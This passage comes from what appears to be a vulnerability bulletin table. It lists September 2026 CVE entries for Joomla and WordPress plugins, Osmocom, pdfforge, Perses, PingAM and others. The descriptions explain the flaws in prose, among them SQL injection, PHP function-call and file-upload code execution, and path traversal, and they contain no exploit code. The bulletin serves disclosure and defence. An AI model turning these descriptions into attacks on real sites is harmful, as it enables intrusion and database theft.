&lt;td&gt;Joomla Extension - OrdaSoft.com - Unauthenticated SQL Injection in OrdaSoft Joomla Gallery extension for Joomla &amp;lt; 6.2.7 - The extensions showSearchResult() and showSearchResultAjax() read the textsearch/searchText request parameter with $input-&amp;gt;getVar(), which is not a real Joomla filter method and falls through to a filter that strips HTML tags but does not touch quotes or SQL syntax. The value is concatenated directly into a LIKE clause with no escaping. The endpoint requires no login of any kind: mod_osgallery_search is a public, commonly-published search box. Any anonymous site visitor can inject a UNION SELECT and read arbitrary database content.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88854&quot; target=&quot;_blank&quot;&gt;CVE-2026-88854&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OrdaSoft.com--OrdaSoft Joomla Gallery free extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - OrdaSoft.com - Authenticated, Privileged SQL Injection in OrdaSoft Joomla Gallery extension for Joomla &amp;lt; 6.2.7 - The extensions saveGallery() passes form data through a hand-rolled parser into Joomla&#039;s Input object, then reads it back with the ARRAY/ STRING filter types, neither of which sanitises SQL content. Values from category_names[], catOrderIds, and image-ordering fields were concatenated directly into SQL with no quoting or integer cast, giving an authenticated core.manage user (a permission scoped to managing one gallery component, not administrator-wide trust) full read/write access to the database, including UNION-based extraction of #__users password hashes.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88855&quot; target=&quot;_blank&quot;&gt;CVE-2026-88855&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OrdaSoft.com--OrdaSoft Joomla Gallery free extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - OrdaSoft.com - Authenticated, Privileged Remote Code Execution in OrdaSoft Joomla Gallery extension for Joomla &amp;lt; 6.2.7 - The extensions updateOSGallery(), reached via task=update_osgallery, read a JSON request body and called the value of a method field as a live PHP function, passing the value of a package field as its single argument, with no allow-list or is_callable() check of any kind. Any function name compatible with a single argument was directly reachable, including system, exec, shell_exec, and passthru.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88856&quot; target=&quot;_blank&quot;&gt;CVE-2026-88856&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OrdaSoft.com--OrdaSoft Joomla Gallery free extension for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - OrdaSoft.com - Authenticated, Privileged Remote Code Execution in OrdaSoft Joomla Gallery extension for Joomla &amp;lt; 6.2.7 - The extensions saveWatermark() copied an uploaded file into a web-accessible directory using the client-supplied filename exactly as sent, with no extension check, no content check, and no filename sanitisation of any kind. An authenticated core.manage user could upload a .php file disguised with an image Content-Type header and execute it directly by requesting the resulting path.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88857&quot; target=&quot;_blank&quot;&gt;CVE-2026-88857&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OriginLab--Origin Viewer&lt;/td&gt;
&lt;td&gt;OriginLab Origin Viewer OGWU File Parsing Out-Of-Bounds Write Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of OriginLab Origin Viewer. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of OGWU files. The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated data structure. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-29337.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19885&quot; target=&quot;_blank&quot;&gt;CVE-2026-19885&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OriginLab--Origin Viewer&lt;/td&gt;
&lt;td&gt;OriginLab Origin Viewer OGM File Parsing Memory Corruption Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of OriginLab Origin Viewer. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of OGM files. The issue results from the lack of proper validation of user-supplied data, which can result in a memory corruption condition. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-29340.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19886&quot; target=&quot;_blank&quot;&gt;CVE-2026-19886&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Osmocom--libsmpp34&lt;/td&gt;
&lt;td&gt;In libsmpp35 from 0.1.0 through 1.8.0 out of bound read issue was found in the&amp;nbsp;at smpp34_unpack() function via attacker controlled&amp;nbsp;SMPP PDUs, leading to memory corruption.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75895&quot; target=&quot;_blank&quot;&gt;CVE-2026-75895&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Osmocom--osmo-bsc&lt;/td&gt;
&lt;td&gt;In osmo-bsc from 1.0.1 through 1.14.1 a heap based buffer overflow issue was found in the&amp;nbsp;ipaccess_proxy_read_msg()&amp;nbsp; function via&amp;nbsp;IPA frame lengths.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75893&quot; target=&quot;_blank&quot;&gt;CVE-2026-75893&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Osmocom--osmo-ggsn&lt;/td&gt;
&lt;td&gt;In osmo-ggsn 1.14.0 an out of bounds write issue was found in the&amp;nbsp;gtp_decode_pdp_ctx() function through the PDP context GSN-Address sub-field, leading to memory corruption.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75892&quot; target=&quot;_blank&quot;&gt;CVE-2026-75892&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Osmocom--osmo-iuh&lt;/td&gt;
&lt;td&gt;In osmo-iuh from 0.1.0 through 1.8.0 a reachable assertion was found in the&amp;nbsp;ranap_handle_co_dt() function via a arbitrarily sized&amp;nbsp;NAS-PDU that leads to process crash and remote denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75894&quot; target=&quot;_blank&quot;&gt;CVE-2026-75894&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Paid Membership Subscriptions--Paid Membership Subscriptions&lt;/td&gt;
&lt;td&gt;The Paid Membership Subscriptions WordPress plugin before 3.0.9 does not verify that the amount and currency reported by the payment provider match the pending payment before completing it, allowing unauthenticated users to obtain a paid membership by paying an arbitrary lower amount.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90922&quot; target=&quot;_blank&quot;&gt;CVE-2026-90922&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;panasonic--PANATERM v6&lt;/td&gt;
&lt;td&gt;Buffer overflow vulnerability&amp;nbsp;in Panasonic Industry&amp;nbsp;USB Driver for MINAS A5/A6 allows&amp;nbsp; attackers&amp;nbsp;&amp;nbsp;to stop Windows.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16726&quot; target=&quot;_blank&quot;&gt;CVE-2026-16726&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 is a sandbox for running untrusted JavaScript. In vm2 versions up to and including 3.11.3, the defaultSandboxPrepareStackTrace function in lib/setup-sandbox.js builds its output array using prototype-walking index assignment (lines[lines.length] = value) rather than a prototype-bypassing define-property primitive. Because this bridge-internal array is allocated in the sandbox realm, code inside the sandbox can install an accessor on Array.prototype for the relevant index; the accessor is then invoked whenever the sandbox reads error.stack (or otherwise triggers Error.prepareStackTrace), allowing sandbox code to observe and intercept each stack-trace line written by the bridge. The same pattern is used in the error-handling (catch) branch. The values written are formatted strings only, so the practical impact is limited to an information side channel and a violation of vm2&#039;s bridge-container defense invariant rather than a sandbox escape; the vendor rates the issue Low. The issue is fixed in vm2 3.11.4, which installs each entry as an own data property via Reflect.defineProperty.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92962&quot; target=&quot;_blank&quot;&gt;CVE-2026-92962&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Payara--Payara Server&lt;/td&gt;
&lt;td&gt;By default, Payara Server does not limit the number of failed login attempts, which can leave it vulnerable to brute force login attacks. To mitigate this, Payara Server includes built-in automatic attack protection. For configuration details, see&amp;nbsp; https://docs.azul.com/payara/technical-documentation/payara-server-documentation/security-guide/administering-system-security.html .&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92082&quot; target=&quot;_blank&quot;&gt;CVE-2026-92082&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pdfforge--PDF Architect&lt;/td&gt;
&lt;td&gt;pdfforge PDF Architect App Object Out-Of-Bounds Read Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of pdfforge PDF Architect. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the handling of App objects. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28570.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92176&quot; target=&quot;_blank&quot;&gt;CVE-2026-92176&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pdfforge--PDF Architect&lt;/td&gt;
&lt;td&gt;pdfforge PDF Architect PDF File Parsing Out-Of-Bounds Write Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of pdfforge PDF Architect. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of PDF files. The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated object. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28673.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92177&quot; target=&quot;_blank&quot;&gt;CVE-2026-92177&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pdfforge--PDF Architect&lt;/td&gt;
&lt;td&gt;pdfforge PDF Architect PDF File Parsing Memory Corruption Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of pdfforge PDF Architect. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of PDF files. The issue results from the lack of proper validation of user-supplied data, which can result in a memory corruption condition. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28916.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92178&quot; target=&quot;_blank&quot;&gt;CVE-2026-92178&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pdfforge--PDF Architect&lt;/td&gt;
&lt;td&gt;pdfforge PDF Architect PDF File Parsing Out-Of-Bounds Write Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of pdfforge PDF Architect. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of PDF files. The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-29219.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92179&quot; target=&quot;_blank&quot;&gt;CVE-2026-92179&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pdfforge--PDF Architect&lt;/td&gt;
&lt;td&gt;pdfforge PDF Architect activation-service Update Service Uncontrolled Search Path Element Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of pdfforge PDF Architect. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the activation-service process. The product loads a library from an unsecured location. An attacker can leverage this vulnerability to escalate privileges and execute code in the context of SYSTEM. Was ZDI-CAN-29536.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92180&quot; target=&quot;_blank&quot;&gt;CVE-2026-92180&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;perses--perses&lt;/td&gt;
&lt;td&gt;Perses is an open-source dashboard and visualization project for observability data. From 0.43.0 until 0.54.0-rc.0, the datasource creation and unsaved datasource proxy paths authorize the caller on a Datasource or GlobalDatasource scope but do not require read permission for the separately grantable associated project or global Secret before resolving it. A low-privilege user with GlobalDatasource:create or corresponding project datasource creation rights can attach a project or global Secret that the user cannot otherwise read, point the datasource at a service controlled by the user, and cause Perses to send the decrypted secret in plaintext, bypassing project and global scope separation. This issue is fixed in version 0.54.0-rc.0.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63199&quot; target=&quot;_blank&quot;&gt;CVE-2026-63199&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;perses--perses&lt;/td&gt;
&lt;td&gt;Perses is an open-source dashboard and visualization project for observability data. Prior to 0.54.0-rc.0, list endpoints used with the file-system database bind the request-controlled project query parameter into the resource Query structure without validating it against directory traversal characters, and the resulting project value is used to select database paths. An authenticated attacker can supply directory traversal segments to leave the intended project directory, read arbitrary YAML or JSON files accessible to the Perses process, and bypass project isolation to enumerate other file-backed resources. This issue is fixed in version 0.54.0-rc.0.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63445&quot; target=&quot;_blank&quot;&gt;CVE-2026-63445&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;perses--perses&lt;/td&gt;
&lt;td&gt;Perses is an open-source dashboard and visualization project for observability data. Prior to 0.54.0-beta.3, an authenticated user with viewer access to one project can supply another project through the project query parameter on project-scoped list endpoints, including /api/v1/projects/{project}/dashboards and /api/v1/datasources. The request-controlled project value is used to select dashboards, datasources, and variables without enforcing the caller&#039;s authorization for that selected project, which breaks project-level tenant isolation and exposes complete resource specifications belonging to other projects. This issue is fixed in version 0.54.0-beta.3.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63458&quot; target=&quot;_blank&quot;&gt;CVE-2026-63458&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Photo Gallery, Sliders, Proofing and Themes--Photo Gallery, Sliders, Proofing and Themes&lt;/td&gt;
&lt;td&gt;The Photo Gallery, Sliders, Proofing and WordPress plugin before 4.5.0 does not correctly validate the extensions of files extracted from an uploaded archive, due to a variable being reused as a loop counter so that the check always passes, allowing users granted its gallery-management capability by an administrator to write arbitrary files into a web-accessible directory and, on hosts that execute them, run arbitrary code.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81650&quot; target=&quot;_blank&quot;&gt;CVE-2026-81650&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Photo Gallery, Sliders, Proofing and Themes--Photo Gallery, Sliders, Proofing and Themes&lt;/td&gt;
&lt;td&gt;The Photo Gallery, Sliders, Proofing and WordPress plugin before 4.5.0 does not verify that the user saving a gallery owns it, allowing any user granted its gallery-management capability by an administrator to overwrite the stored settings of any gallery on the site, including its filesystem path, and including galleries belonging to other users.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81651&quot; target=&quot;_blank&quot;&gt;CVE-2026-81651&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Photo Gallery, Sliders, Proofing and Themes--Photo Gallery, Sliders, Proofing and Themes&lt;/td&gt;
&lt;td&gt;The Photo Gallery, Sliders, Proofing and WordPress plugin before 4.5.0 does not verify that the requesting user is entitled to a given image record before returning it, allowing users with the Contributor role and above to read the stored metadata of any image on the site, including images in galleries belonging to other users. The disclosed data includes the image&#039;s stored EXIF subset, covering camera make and model and capture timestamp, along with internal checksums and identifiers that the Photo Gallery, Sliders, Proofing and WordPress plugin before 4.5.0&#039;s own capability-gated read path reserves to administrators.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81652&quot; target=&quot;_blank&quot;&gt;CVE-2026-81652&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Photo Gallery, Sliders, Proofing and Themes--Photo Gallery, Sliders, Proofing and Themes&lt;/td&gt;
&lt;td&gt;The Photo Gallery, Sliders, Proofing and WordPress plugin before 4.5.0 does not verify that the user acting on an image owns the gallery it belongs to, allowing users granted its gallery-management capability by an administrator to delete, copy and re-tag any image on the site, including images in galleries belonging to other users.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81653&quot; target=&quot;_blank&quot;&gt;CVE-2026-81653&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Photo Gallery, Sliders, Proofing and Themes--Photo Gallery, Sliders, Proofing and Themes&lt;/td&gt;
&lt;td&gt;The Photo Gallery, Sliders, Proofing and WordPress plugin before 4.5.0 does not check that a user holds its options capability before saving image sizing settings, allowing users granted only its gallery-management capability by an administrator to change settings that apply across the whole site.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81654&quot; target=&quot;_blank&quot;&gt;CVE-2026-81654&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ping Identity--PingAM&lt;/td&gt;
&lt;td&gt;An improper validation vulnerability exists within PingAM where a well-crafted request allows arbitrary or protected ID Token claims to be set or overridden. In certain configurations this could allow an attacker to bypass authentication controls via spoofing leading to privilege escalation or impersonation.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-21391&quot; target=&quot;_blank&quot;&gt;CVE-2026-21391&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ping Identity--PingFederate&lt;/td&gt;
&lt;td&gt;A role-based access control issue was identified in the administrative expression evaluation functionality. This could allow users with certain administrative roles to access expression testing capabilities beyond their intended permissions.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20773&quot; target=&quot;_blank&quot;&gt;CVE-2026-20773&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pjsip--pjproject&lt;/td&gt;
&lt;td&gt;PJSIP is a free and open source multimedia communication library written in C. In 2.17 and earlier, the PJSIP AVI parser in pjmedia/src/pjmedia/avi_player.c uses an input-file video chunk length as the number of bytes copied into a frame buffer whose capacity is derived from the declared media dimensions. A crafted AVI file can therefore cause an attacker-controlled out-of-bounds write past the heap allocation when an application plays the file or pulls its frames. The existing size assertion does not protect production release builds, where assertions are disabled. Typical local playback can crash the process, while applications that accept untrusted AVI sources expose a stronger memory-corruption condition. No fixed version is available as of this review.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77396&quot; target=&quot;_blank&quot;&gt;CVE-2026-77396&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pocketbase--pocketbase&lt;/td&gt;
&lt;td&gt;Pocketbase is an open source web backend written in go. Prior to 0.22.48 and 0.39.7, PocketBase&#039;s panic-recovery middleware covers regular request handling but not internal child and worker goroutines. A panic in one of these internal goroutines can escape recovery and terminate the server process, causing a denial of service. The remediation introduces routine.SafeWrap to convert recovered panics into regular errors and applies it to the affected internal worker functions. This issue is fixed in versions 0.22.48 and 0.39.7.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82410&quot; target=&quot;_blank&quot;&gt;CVE-2026-82410&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Pod::Text--Pod::Text&lt;/td&gt;
&lt;td&gt;Pod::Text versions before 6.1.1 for Perl allow CPU and memory exhaustion formatting a POD document whose =over nesting drives the margin to the output width. Each =over adds its indent to the margin, which wrap() subtracts from the output width to get the space available for text. When that space reaches zero, the line-splitting substitution matches the empty string, and the loop consumes no input while appending the margin padding on every pass. Formatting an attacker-supplied POD document never returns, and the output grows until memory is exhausted.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82560&quot; target=&quot;_blank&quot;&gt;CVE-2026-82560&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;podofo--podofo&lt;/td&gt;
&lt;td&gt;PoDoFo is a C++17 PDF manipulation library. From version 1.0.0 until 1.1.1, processing a crafted PDF with an Indexed color-space image can cause a heap out-of-bounds read in PdfColorSpaceFilterIndexed::FetchScanLine in src/podofo/main/PdfColorSpaceFilter.cpp. PODOFO_INVARIANT does not perform a runtime check, so a pixel index greater than or equal to m_MapSize can address beyond m_lookup. PdfColorSpaceFilterFactory::TryCreateFromObject also validates hival with an incorrect conjunction and no upper bound, allowing malformed Indexed color-space metadata outside the expected range. The resulting read can disclose adjacent heap data or crash the processing application. This issue is fixed in version 1.1.1.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54633&quot; target=&quot;_blank&quot;&gt;CVE-2026-54633&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Price Drop Alert for Woo Commerce--Price Drop Alert for Woo Commerce&lt;/td&gt;
&lt;td&gt;The Price Drop Alert for Woo Commerce WordPress plugin through 1.1 does not sanitize and escape parameters before using them in a SQL query on an AJAX action available to unauthenticated users, allowing unauthenticated attackers to perform SQL injection attacks and extract sensitive data from the database.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87770&quot; target=&quot;_blank&quot;&gt;CVE-2026-87770&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Private Feed Key--Private Feed Key&lt;/td&gt;
&lt;td&gt;The Private Feed Key WordPress plugin through 0.1 does not verify that the key used to authenticate a feed request is one it issued, matching any stored user metadata value instead, which allows unauthenticated attackers to log in as any user, including administrators.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86707&quot; target=&quot;_blank&quot;&gt;CVE-2026-86707&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Product Question and Answer--Product Question and Answer&lt;/td&gt;
&lt;td&gt;The Product Question and Answer WordPress plugin through 1.1.0 does not sanitize and escape parameters before using them in SQL queries on AJAX actions available to unauthenticated users, allowing unauthenticated attackers to perform SQL injection attacks and extract sensitive data from the database.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87771&quot; target=&quot;_blank&quot;&gt;CVE-2026-87771&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Prolink --13A Smart Plug&lt;/td&gt;
